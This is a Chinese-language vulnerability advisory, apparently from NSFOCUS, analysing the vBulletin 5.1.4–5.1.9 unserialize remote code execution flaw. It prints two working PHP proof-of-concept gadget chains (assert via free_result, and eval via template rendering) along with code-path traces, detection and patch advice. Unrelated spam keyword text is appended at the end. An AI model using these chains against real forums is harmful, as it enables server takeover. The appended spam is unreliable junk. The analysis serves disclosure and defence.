          Bulletin 是一個(gè)商用的論壇程序套件,在全球擁有數(shù)萬用戶且增長(zhǎng)速度很快。該論壇采用PHP Web語言及MySQL數(shù)據(jù)庫。正是由于其用戶較多,其漏洞出現(xiàn)頻率較高,在綠盟科技漏洞庫(NSVD)中共有49條記錄,大部分是SQL注入漏洞。此次漏洞等級(jí)較高,為遠(yuǎn)程代碼執(zhí)行漏洞(RCE),理論上說攻擊者可執(zhí)行任意代碼,甚至完全控制論壇 。

          綠盟科技漏洞庫

          可能的影響

          • 該論壇程序在國外使用較多,國內(nèi)使用較少,在綠盟科技廣譜平臺(tái)Seer系統(tǒng)中僅有50多條記錄;

          • 此次漏洞的PoC已經(jīng)開始在網(wǎng)絡(luò)流傳,已有國外媒體報(bào)道vBulletin官網(wǎng)479895用戶信息遭到泄露;

          • 該論壇并沒有中文版本,國內(nèi)流行較多的中文版本及破解版本,這些版本可能存在漏洞修復(fù)的問題;

          • 受此影響的版本包括5.1.4~5.1.9

          vBulletin在其ajax接口使用了反序列化函數(shù)unserialize。導(dǎo)致存在漏洞,可以覆蓋其上下文中使用的類的類變量,導(dǎo)致可以產(chǎn)生各類問題。

          0X01 漏洞分析

          1,漏洞本質(zhì)問題

          hook.php文件的vB_Api_Hook類的decodeArguments方法,傳入的值會(huì)被進(jìn)行反序列化操作。并且攻擊者還可以控制傳入的$arguments的值,因此漏洞的全部演出從這里開始。

          12345publicfunctiondecodeArguments($arguments){=》if($args=@unserialize($arguments)){...

          2,反序列化后對(duì)上下文變量覆蓋的利用

          POC角度分析

          對(duì)URL進(jìn)行分解,path為vBulletin對(duì)參數(shù)進(jìn)行路由轉(zhuǎn)換的結(jié)果,本質(zhì)也是mvc調(diào)用,vBulletin處理的格式為ajax/api/[controller]/[method],也就是說此訪問頁面調(diào)用的是hook文件的decodeArgument方法。query內(nèi)只有一個(gè)參數(shù),參數(shù)的名稱為arguments,參數(shù)的值為一段序列化的代碼。

          看下輸出序列化值的代碼

          123456789101112131415161718192021<?phpclassvB_Database_MySQL{public$functions=array();publicfunction__construct(){$this->functions['free_result']='assert';}}classvB_dB_Result{protected$db;protected$recordset;publicfunction__construct(){$this->db=newvB_Database_MySQL();$this->recordset='print(\'Hello world!\')';}}printurlencode(serialize(newvB_dB_Result()))."\n";?>

          最終輸出的是 serialize(new vB_dB_Result())的值,類vB_dB_Result定義了兩個(gè)protected變量,并且其構(gòu)造函數(shù)對(duì)這兩個(gè)protected變量進(jìn)行復(fù)制,$recordset賦值為一段字符串,從poc也可看出來,$recordset的值就是要執(zhí)行的代碼片段。$db的賦值為vB_Database_MySQL,定義了一個(gè)數(shù)組類型的變量$functions,并給這個(gè)數(shù)組的free_result索引賦值為assert。因此可以對(duì)此進(jìn)行下小結(jié),vBulletin通過對(duì)傳值進(jìn)行反序列化操作,可以對(duì)其執(zhí)行上下文中的變量進(jìn)行覆蓋。覆蓋后,會(huì)產(chǎn)生代碼執(zhí)行漏洞。

          代碼角度分析

          首先進(jìn)入hook.php文件的vB_Api_Hook類的decodeArguments方法,傳入的值會(huì)被進(jìn)行反序列化操作。變量$args會(huì)被賦值為vB_Database_Result類。

          12345678910publicfunctiondecodeArguments($arguments){=》if($args=@unserialize($arguments)){$result='';foreach($argsAS$varname=>$value){$result.=$varname;...

          接著進(jìn)入foreach函數(shù),由于$args為對(duì)象數(shù)據(jù)結(jié)構(gòu),并且當(dāng)前類(vB_Database_Result類)implements于Iterator接口,因此當(dāng)php在遍歷對(duì)象$args時(shí),便首先會(huì)調(diào)用其rewind()方法。[foreach遍歷對(duì)象][1],[迭代器遍歷][2]。以上兩個(gè)鏈接詳細(xì)講解了php遍歷對(duì)象操作的細(xì)節(jié)。

          12345678910publicfunctiondecodeArguments($arguments){if($args=@unserialize($arguments)){$result='';=》foreach($argsAS$varname=>$value){$result.=$varname;...

          然后跟入result.php的vB_Database_Result類的rewind()方法,此方法會(huì)調(diào)用當(dāng)前類內(nèi)的類變量$db的free_result方法,并且為其傳入類變量$recordset的值。

          123456789101112publicfunctionrewind(){if($this->bof){return;}if($this->recordset){=》$this->db->free_result($this->recordset);}...

          最后跟入database.php的vB_Database類的free_result方法,由于控制了當(dāng)前類(vB_Database類)的變量$functions[‘free_result’],和傳入的$queryresult,因此此處達(dá)成了動(dòng)態(tài)函數(shù)執(zhí)行,漏洞利用至此結(jié)束。

          12345functionfree_result($queryresult){$this->sql='';=》return@$this->functions['free_result']($queryresult);}

          3,反序列化后利用魔術(shù)方法RCE的利用

          POC角度分析

          同理上文的路徑分析。

          看下輸出序列化值的代碼

          12345678910111213141516171819202122232425262728<?phpclassvB5_Template{public$tmpfile;protected$template;protected$registered=array();publicfunction__construct(){$this->template='widget_php';$this->registered['widgetConfig']=array('code'=>'print_r(\'hello manning\');die();');}}classvB_View_AJAXHTML{public$tmpfile;protected$content;publicfunction__construct(){$this->content=newvB5_Template();}}classvB_vURL{public$tmpfile;publicfunction__construct(){$this->tmpfile=newvB_View_AJAXHTML();}}printurlencode(serialize(newvB_vURL()))."\n";?>

          最終輸出的是 serialize(new vB_vURL())的值,向類vB_vURL注入了一個(gè)public變量$temfile,并且賦值為類vB_View_AJAXHTML,而類vB_View_AJAXHTML的構(gòu)造函數(shù)中,向其類內(nèi)對(duì)象$content賦值類vB5_Template,最終的利用代碼在類vB5_Template中$template和$registered中,含義分別是調(diào)用模板widget_php和$registered[‘widgetConfig’]的值為利用代碼。

          代碼角度分析

          首先進(jìn)入hook.php文件的vB_Api_Hook類的decodeArguments方法,傳入的值會(huì)被進(jìn)行反序列化操作。變量$args會(huì)被賦值為vB_vURL類。

          1234567891011121314151617181920212223publicfunctiondecodeArguments($arguments){=>if($args=@unserialize($arguments)){$result='';=》foreach($argsAS$varname=>$value){$result.=$varname;if(is_array($value)){$this->decodeLevel($result,$value,'=');}$result.="\n";}return$result;}return'';}

          在foreach中,由于$args為對(duì)象數(shù)據(jù)結(jié)構(gòu),并且當(dāng)前類(vB_vURL類)并沒有implements于Iterator接口,因此當(dāng)php在遍歷對(duì)象$args時(shí),只是會(huì)遍歷vB_vURL類的public變量,不會(huì)產(chǎn)生漏洞。

          由于要進(jìn)行return操作,因此便出發(fā)了當(dāng)前類(vB_vURL類)的析構(gòu)函數(shù)。

          1234567function__destruct(){=>if(file_exists($this->tmpfile)){@unlink($this->tmpfile);}}

          由于為其$tmpfile賦值為一個(gè)對(duì)象,file_exists方法會(huì)試圖把類轉(zhuǎn)化為字符串,因此觸發(fā)了$tmpfile對(duì)象的__toString()方法。(**由于傳入的是vB_View_AJAXHTML類,vB_View_AJAXHTML類繼承于vB_View類,因此觸發(fā)的是vB_View類的__toString方法**)

          123456789101112publicfunction__toString(){try{=>return$this->render();}catch(vB_Exception$e){//If debug, return the error, elsereturn'';}}

          由上文可知,當(dāng)前$this對(duì)象其實(shí)還是vB_View_AJAXHTML類的對(duì)象,因此進(jìn)入了vB_View_AJAXHTML類的render()方法,由于定義了vB_View_AJAXHTML類的$content類對(duì)象。

          12345678publicfunctionrender($send_content_headers=false){...if($this->content){=》$xml->add_tag('html',$this->content->render());}

          類對(duì)象$content已經(jīng)被賦值為vB5_Template類對(duì)象,因此會(huì)進(jìn)入vB5_Template類的render()方法。

          1234567891011121314publicfunctionrender($isParentTemplate=true,$isAjaxTemplateRender=false){$this->register('user',$user,true);extract(self::$globalRegistered,EXTR_SKIP|EXTR_REFS);=》extract($this->registered,EXTR_OVERWRITE|EXTR_REFS);...$templateCache=vB5_Template_Cache::instance();=》$templateCode=$templateCache->getTemplate($this->template);if($templateCache->isTemplateText()){=》@eval($templateCode);}

          vB5_Template類的render()方法,此方法會(huì)執(zhí)行extract()方法和eval()方法,并且都可以控制傳入的參數(shù),因此會(huì)導(dǎo)致代碼執(zhí)行。再看一次poc。

          12345678910<?phpclassvB5_Template{public$tmpfile;protected$template;protected$registered=array();publicfunction__construct(){$this->template='widget_php';$this->registered['widgetConfig']=array('code'=>'print_r(\'hello manning\');die();');}}

          也就是說,目前我們控制兩個(gè)關(guān)鍵點(diǎn)。

          • 要執(zhí)行的模板

          • 模板需要的參數(shù)

          此時(shí)代碼已經(jīng)覆蓋了$registered變量的widgetConfig索引,因此會(huì)把數(shù)組$widgetConfig注冊(cè)到全局變量?jī)?nèi),其var_dump為

          12array(size=1)'code'=>string'print_r('hello manning');die();'(length=31)

          然后模板widget_php存在

          1$evaledPHP=vB5_Template_Runtime::parseAction('bbcode','evalCode',$widgetConfig['code']);

          因此,導(dǎo)致代碼執(zhí)行。

          0X02 漏洞總結(jié)

          vBulletin 5系列通殺的代碼執(zhí)行漏洞,無難度getshell。這個(gè)漏洞可以說是php反序列化操作的最佳反面教程,講述了使用反序列化不當(dāng),造成的嚴(yán)重后果。既可覆蓋代碼的上下文進(jìn)行RCE,又可利用傳統(tǒng)的方式在魔術(shù)方法中進(jìn)行RCE。 影響范圍個(gè)人評(píng)價(jià)為“高”,危害性個(gè)人評(píng)價(jià)為“高”,vBulletin在全球的使用范圍非常廣,此漏洞在vBulletin 5版本通殺。

          0x03 漏洞檢測(cè)

          以綠盟WEB應(yīng)用漏洞掃描系統(tǒng)(NSFOCUS Web Vulnerability Scanning System,簡(jiǎn)稱:NSFOCUS WVSS)為例,對(duì)業(yè)務(wù)系統(tǒng)部署WVSS,在簡(jiǎn)單的配置后,即可獲得全面快速的檢測(cè)能力。該系統(tǒng)可自動(dòng)獲取網(wǎng)站包含的相關(guān)信息,并全面模擬網(wǎng)站訪問的各種行為,比如按鈕點(diǎn)擊、鼠標(biāo)移動(dòng)、表單復(fù)雜填充等,通過內(nèi)建的”安全模型”檢測(cè)Web應(yīng)用系統(tǒng)潛在的各種漏洞,同時(shí)為用戶構(gòu)建從急到緩的修補(bǔ)流程,滿足安全檢查工作中所需要的高效性和準(zhǔn)確性。目前漏洞相關(guān)檢測(cè)產(chǎn)品的升級(jí)情況如下:

          產(chǎn)品名稱功能升級(jí)后的版本號(hào)時(shí)間
          WEB應(yīng)用漏洞掃描系統(tǒng)(WVSS)檢測(cè)Web應(yīng)用系統(tǒng)潛在的各種漏洞V6.0R03F00.20本周
          遠(yuǎn)程安全評(píng)估系統(tǒng)(RSAS)檢測(cè)網(wǎng)絡(luò)中的各類脆弱性風(fēng)險(xiǎn)V6.0R02F00.0120下周

          升級(jí)辦法

          綠盟科技已在軟件升級(jí)公告中提供規(guī)則升級(jí)包,規(guī)則可以通過產(chǎn)品界面的在線升級(jí)進(jìn)行。如果您的業(yè)務(wù)系統(tǒng)暫時(shí)還無法升級(jí)規(guī)則包,那么可以在軟件升級(jí)頁面中,找到對(duì)應(yīng)的產(chǎn)品,通過下載升級(jí)包,以離線方式進(jìn)行升級(jí)。

          相關(guān)升級(jí)信息請(qǐng)?jiān)L問:

          • 安全產(chǎn)品介紹:http://www.nsfocus.com.cn/1_solution/1_2_1.html

          • 產(chǎn)品升級(jí)公告:http://update.nsfocus.com/

          開發(fā)交流

          另外,綠盟科技蜂巢社區(qū)啟動(dòng)應(yīng)急機(jī)制,已經(jīng)實(shí)現(xiàn)vBulletin遠(yuǎn)程代碼執(zhí)行漏洞的在線檢測(cè)。在社區(qū)中,大家可以進(jìn)行網(wǎng)絡(luò)安全掃描插件的開發(fā)及討論。從漏洞分析、代碼開發(fā)、安全交流等多方面來提升自己的能力。同時(shí),安全人員可以方便獲取對(duì)應(yīng)插件進(jìn)行安全測(cè)試,共同維護(hù)互聯(lián)網(wǎng)安全。此次vBulletin遠(yuǎn)程代碼執(zhí)行掃描插件就是大家共同開發(fā)及快速上線的。

          ]10 綠盟科技蜂巢開發(fā)者社區(qū)

          加入蜂巢社區(qū),請(qǐng)聯(lián)系beehive@nsfocus.com,獲得注冊(cè)碼。

          0x04 防護(hù)方案

          使用反序列化的地方增多了數(shù)據(jù)的種類,增大了風(fēng)險(xiǎn)。因此防護(hù)方案如下:

          • 使用反序列化結(jié)果的地方,檢測(cè)是否存在危險(xiǎn)操作

          • 盡量避免使用反序列化交互操作

          升級(jí)補(bǔ)丁

          對(duì)于個(gè)人用戶最簡(jiǎn)單的辦法,就是盡快通過vBulletin官方渠道獲取升級(jí)補(bǔ)丁,補(bǔ)丁獲取地址:http://members.vbulletin.com/patches.php

          0X05 引用資料

          • http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq

          • http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/

          • http://blog.knownsec.com/2015/11/unserialize-exploit-with-vbulletin-5-x-x-remote-code-execution/

          請(qǐng)關(guān)注綠盟科技博客 http://blog.nsfocus.net/vbulletin-5-rce-vulnerability/


          主站蜘蛛池模板: 无码人妻精品一区二区蜜桃| 精品视频一区在线观看| 久久精品国产免费一区| 精品在线一区二区| 亚洲AV无码一区二三区| 日韩精品一区二区三区中文字幕| 精品一区狼人国产在线| 国产91精品一区| 亚洲一区二区三区香蕉| 毛片一区二区三区| 激情内射亚州一区二区三区爱妻| 国产成人无码一区二区在线播放 | 东京热无码av一区二区| 久久国产午夜一区二区福利| 亚洲乱色熟女一区二区三区蜜臀| 成人在线观看一区| 亚洲无线码在线一区观看| 国产精品一区在线麻豆| 免费萌白酱国产一区二区 | 99精品国产高清一区二区三区| 人妻无码一区二区不卡无码av| 色综合视频一区中文字幕| 国产aⅴ一区二区| 精品无码人妻一区二区三区| 精品一区二区三区在线观看l| 日韩一区二区三区不卡视频| 久久综合精品不卡一区二区| 日韩一区二区三区视频| 亚洲一区二区三区深夜天堂| 中文字幕日本精品一区二区三区| 国产成人免费一区二区三区| 亚洲AV福利天堂一区二区三| 无码精品前田一区二区| 亚洲性色精品一区二区在线| 亚洲国产精品一区| 久久久无码精品国产一区| 一区二区精品在线观看| 精品国产一区在线观看 | 中文字幕精品亚洲无线码一区应用| 久久中文字幕无码一区二区| 无码aⅴ精品一区二区三区浪潮|